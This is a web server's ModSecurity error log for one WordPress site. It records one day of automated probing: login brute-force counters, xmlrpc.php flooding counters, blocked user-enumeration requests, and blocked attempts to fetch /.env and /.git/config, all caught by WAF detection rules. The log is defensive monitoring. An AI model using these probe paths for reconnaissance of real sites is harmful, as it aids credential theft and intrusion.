[Mon May 18 07:18:02.041201 2026] [:error] [pid 20778:tid 20831] [client 49.13.81.246:47140] [client 49.13.81.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 49.13.81.246, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agpMqmb9K2_TPGoCpAr-4wAAAE0"]
[Mon May 18 07:18:04.320851 2026] [:error] [pid 20778:tid 20821] [client 49.13.81.246:47140] [client 49.13.81.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 49.13.81.246, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agpMrGb9K2_TPGoCpAr-5wAAAEM"], referer: https://rcacivilgroup.com/wp-login.php
[Mon May 18 07:27:20.139738 2026] [:error] [pid 20777:tid 20810] [client 104.244.79.40:49298] [client 104.244.79.40] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agpO2IHClf0EYFQBeRFNeAAAABg"]
[Mon May 18 07:34:52.163678 2026] [:error] [pid 20777:tid 20806] [client 204.13.238.114:39088] [client 204.13.238.114] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agpQnIHClf0EYFQBeRFNswAAABQ"]
[Mon May 18 08:24:56.597291 2026] [:error] [pid 20778:tid 20834] [client 104.244.79.40:55774] [client 104.244.79.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.244.79.40, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agpcWGb9K2_TPGoCpAoNxAAAAFA"]
[Mon May 18 08:24:57.841838 2026] [:error] [pid 20778:tid 20819] [client 104.244.79.40:55774] [client 104.244.79.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.244.79.40, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agpcWWb9K2_TPGoCpAoNxgAAAEE"], referer: https://rcacivilgroup.com/wp-login.php
[Mon May 18 09:30:36.315159 2026] [:error] [pid 44087:tid 44102] [client 43.130.102.7:46650] [client 43.130.102.7] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agprvG5HPHbH9GK7l6y_YgAAAc0"]
[Mon May 18 09:52:12.749888 2026] [:error] [pid 43916:tid 43926] [client 62.84.185.55:17250] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "agpwzNQC236p33zJJvmprAAAAII"]
[Mon May 18 09:52:20.867124 2026] [:error] [pid 36579:tid 36590] [client 62.84.185.55:23160] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "agpw1F-aoZxBfgL5vDwmxAAAAEg"]
[Mon May 18 10:01:12.708543 2026] [:error] [pid 43916:tid 43933] [client 174.138.66.217:60538] [client 174.138.66.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 174.138.66.217, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agpy6NQC236p33zJJvmqWwAAAIk"]
[Mon May 18 10:01:14.513969 2026] [:error] [pid 43916:tid 43948] [client 174.138.66.217:60538] [client 174.138.66.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 174.138.66.217, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agpy6tQC236p33zJJvmqXAAAAJg"], referer: https://rcacivilgroup.com/wp-login.php
[Mon May 18 10:13:53.178615 2026] [:error] [pid 36492:tid 36542] [client 8.130.10.226:36966] [client 8.130.10.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 8.130.10.226, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agp14WCVlogrkn9m2w5o8QAAABQ"]
[Mon May 18 10:13:54.519782 2026] [:error] [pid 36492:tid 36538] [client 8.130.10.226:36966] [client 8.130.10.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 8.130.10.226, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agp14mCVlogrkn9m2w5o-AAAABA"], referer: https://rcacivilgroup.com/wp-login.php
[Mon May 18 11:10:32.251703 2026] [:error] [pid 36492:tid 36532] [client 185.162.127.214:36770] [client 185.162.127.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.162.127.214, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agqDKGCVlogrkn9m2w5wtAAAAAo"]
[Mon May 18 11:10:33.978675 2026] [:error] [pid 36492:tid 36522] [client 185.162.127.214:36770] [client 185.162.127.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.162.127.214, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agqDKWCVlogrkn9m2w5wtwAAAAA"], referer: https://rcacivilgroup.com/wp-login.php
[Mon May 18 11:37:56.032698 2026] [:error] [pid 36492:tid 36528] [client 194.62.107.32:35279] [client 194.62.107.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "agqJlGCVlogrkn9m2w510wAAAAY"]
[Mon May 18 13:49:38.214278 2026] [:error] [pid 36493:tid 36571] [client 43.134.224.16:36278] [client 43.134.224.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agqocgynkzQB5nM668qixwAAARY"]
[Mon May 18 14:13:24.668802 2026] [:error] [pid 36579:tid 36590] [client 43.157.149.188:47048] [client 43.157.149.188] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agquBF-aoZxBfgL5vDxoDwAAAEg"]
[Mon May 18 16:01:31.286392 2026] [:error] [pid 36491:tid 36516] [client 95.216.11.121:40226] [client 95.216.11.121] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.216.11.121, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agrHW0555B9CZb6D60moNAAAAVU"]
[Mon May 18 16:01:32.390664 2026] [:error] [pid 36491:tid 36500] [client 95.216.11.121:40226] [client 95.216.11.121] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.216.11.121, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agrHXE555B9CZb6D60moNgAAAUU"], referer: https://rcacivilgroup.com/wp-login.php
[Mon May 18 16:17:43.549295 2026] [:error] [pid 44010:tid 44017] [client 151.196.18.82:49231] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "agrLJzcFUuogD3-74-ZtKAAAAMU"]
[Mon May 18 16:17:43.966479 2026] [:error] [pid 36493:tid 36564] [client 151.196.18.82:49243] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "agrLJwynkzQB5nM668qyrgAAAQ8"]
[Mon May 18 16:17:47.824951 2026] [:error] [pid 36492:tid 36527] [client 151.196.18.82:49298] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "agrLK2CVlogrkn9m2w62FQAAAAU"]
[Mon May 18 16:17:48.252554 2026] [:error] [pid 36492:tid 36542] [client 151.196.18.82:49301] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "agrLLGCVlogrkn9m2w62FwAAABQ"]
[Mon May 18 16:33:28.536534 2026] [:error] [pid 36491:tid 36498] [client 85.214.94.237:58786] [client 85.214.94.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.214.94.237, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agrO2E555B9CZb6D60mscwAAAUM"]
[Mon May 18 16:33:29.556272 2026] [:error] [pid 36491:tid 36515] [client 85.214.94.237:58786] [client 85.214.94.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.214.94.237, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agrO2U555B9CZb6D60msdAAAAVQ"], referer: https://rcacivilgroup.com/wp-login.php
[Mon May 18 16:33:45.738835 2026] [:error] [pid 36493:tid 36554] [client 18.236.233.243:55172] [client 18.236.233.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.236.233.243, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agrO6QynkzQB5nM668qz7gAAAQU"]
[Mon May 18 16:34:06.721102 2026] [:error] [pid 36492:tid 36542] [client 18.236.233.243:46380] [client 18.236.233.243] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agrO_mCVlogrkn9m2w64nQAAABQ"]
[Mon May 18 16:50:43.916772 2026] [:error] [pid 44087:tid 44099] [client 198.177.123.157:46874] [client 198.177.123.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.177.123.157, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agrS425HPHbH9GK7l6zlawAAAco"]
[Mon May 18 16:50:46.024344 2026] [:error] [pid 44087:tid 44109] [client 198.177.123.157:46874] [client 198.177.123.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.177.123.157, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agrS5m5HPHbH9GK7l6zlbAAAAdQ"], referer: https://rcacivilgroup.com/wp-login.php
[Mon May 18 17:55:39.983731 2026] [:error] [pid 36493:tid 36554] [client 103.28.36.200:47456] [client 103.28.36.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.200, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agriGwynkzQB5nM668q7fgAAAQU"]
[Mon May 18 17:55:41.081850 2026] [:error] [pid 36493:tid 36571] [client 103.28.36.200:47456] [client 103.28.36.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.200, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agriHQynkzQB5nM668q7gAAAARY"], referer: https://rcacivilgroup.com/wp-login.php
[Mon May 18 19:29:45.519717 2026] [:error] [pid 44046:tid 44059] [client 5.176.236.125:53012] [client 5.176.236.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.176.236.125, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agr4KYYF4k2jfXJBXk349AAAAYs"]
[Mon May 18 19:29:54.703143 2026] [:error] [pid 36579:tid 36587] [client 5.176.236.125:53320] [client 5.176.236.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.176.236.125, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agr4Ml-aoZxBfgL5vDyMNQAAAEU"]
[Mon May 18 19:30:05.156792 2026] [:error] [pid 36579:tid 36588] [client 5.176.236.125:53314] [client 5.176.236.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.176.236.125, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agr4PV-aoZxBfgL5vDyMQgAAAEY"]
[Mon May 18 19:30:15.642890 2026] [:error] [pid 36491:tid 36518] [client 5.176.236.125:53031] [client 5.176.236.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.176.236.125, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agr4R0555B9CZb6D60nFBAAAAVc"]
[Mon May 18 19:30:26.142475 2026] [:error] [pid 44087:tid 44109] [client 5.176.236.125:52748] [client 5.176.236.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.176.236.125, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agr4Um5HPHbH9GK7l6zyqAAAAdQ"]
[Mon May 18 20:31:28.271233 2026] [:error] [pid 36579:tid 36585] [client 103.39.133.73:38288] [client 103.39.133.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.39.133.73, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agsGoF-aoZxBfgL5vDyTSgAAAEM"]
[Mon May 18 20:53:33.920505 2026] [:error] [pid 36579:tid 36582] [client 209.182.201.224:56894] [client 209.182.201.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.182.201.224, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agsLzV-aoZxBfgL5vDyVCgAAAEA"]
[Mon May 18 21:04:25.493596 2026] [:error] [pid 36491:tid 36513] [client 198.38.94.67:58472] [client 198.38.94.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.38.94.67, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agsOWU555B9CZb6D60nUfwAAAVI"]
[Mon May 18 21:16:17.992673 2026] [:error] [pid 44087:tid 44104] [client 35.233.46.64:58013] [client 35.233.46.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.233.46.64, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agsRIW5HPHbH9GK7l6z7AgAAAc8"]
[Mon May 18 21:26:45.378873 2026] [:error] [pid 36492:tid 36523] [client 46.62.185.67:40018] [client 46.62.185.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.62.185.67, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agsTlWCVlogrkn9m2w73cwAAAAE"]
[Mon May 18 21:27:18.835097 2026] [:error] [pid 36492:tid 36544] [client 139.84.238.39:54030] [client 139.84.238.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.84.238.39, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agsTtmCVlogrkn9m2w73rAAAABY"]
[Mon May 18 21:31:34.622503 2026] [:error] [pid 36491:tid 36506] [client 162.241.3.6:52326] [client 162.241.3.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.3.6, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agsUtk555B9CZb6D60nYxgAAAUs"]
[Mon May 18 21:31:50.965097 2026] [:error] [pid 36492:tid 36526] [client 43.165.2.110:40916] [client 43.165.2.110] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agsUxmCVlogrkn9m2w74PwAAAAQ"]
[Mon May 18 21:48:42.864229 2026] [:error] [pid 36493:tid 36557] [client 50.116.87.75:26508] [client 50.116.87.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.116.87.75, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agsYugynkzQB5nM668rO4QAAAQg"]
[Mon May 18 21:58:03.209498 2026] [:error] [pid 36579:tid 36588] [client 103.179.56.102:35998] [client 103.179.56.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.179.56.102, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agsa61-aoZxBfgL5vDybNgAAAEY"]
[Mon May 18 22:37:59.661093 2026] [:error] [pid 36492:tid 36543] [client 34.106.229.134:55236] [client 34.106.229.134] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "agskR2CVlogrkn9m2w4BaAAAABU"]
[Mon May 18 22:46:37.905711 2026] [:error] [pid 36492:tid 36544] [client 192.185.176.177:44054] [client 192.185.176.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.176.177, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agsmTWCVlogrkn9m2w4CfQAAABY"]
[Mon May 18 22:50:15.100753 2026] [:error] [pid 36492:tid 36540] [client 192.145.239.210:47894] [client 192.145.239.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.145.239.210, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agsnJ2CVlogrkn9m2w4DZAAAABI"]
[Mon May 18 22:55:06.289423 2026] [:error] [pid 36579:tid 36587] [client 104.28.228.224:38619] [client 104.28.228.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.228.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agsoSl-aoZxBfgL5vDyfrAAAAEU"]
[Mon May 18 22:55:15.804618 2026] [:error] [pid 36493:tid 36552] [client 104.28.228.224:38604] [client 104.28.228.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.228.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agsoUwynkzQB5nM668rTGQAAAQM"]
[Mon May 18 22:55:26.408168 2026] [:error] [pid 43916:tid 43935] [client 104.28.228.224:38776] [client 104.28.228.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.228.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agsoXtQC236p33zJJvnUKwAAAIs"]
[Mon May 18 22:55:37.058990 2026] [:error] [pid 36491:tid 36495] [client 104.28.228.224:38439] [client 104.28.228.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.228.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agsoaU555B9CZb6D60nhsgAAAUA"]
[Mon May 18 22:55:47.582735 2026] [:error] [pid 44046:tid 44049] [client 104.28.228.224:38595] [client 104.28.228.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.228.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agsoc4YF4k2jfXJBXk0EsQAAAYE"]
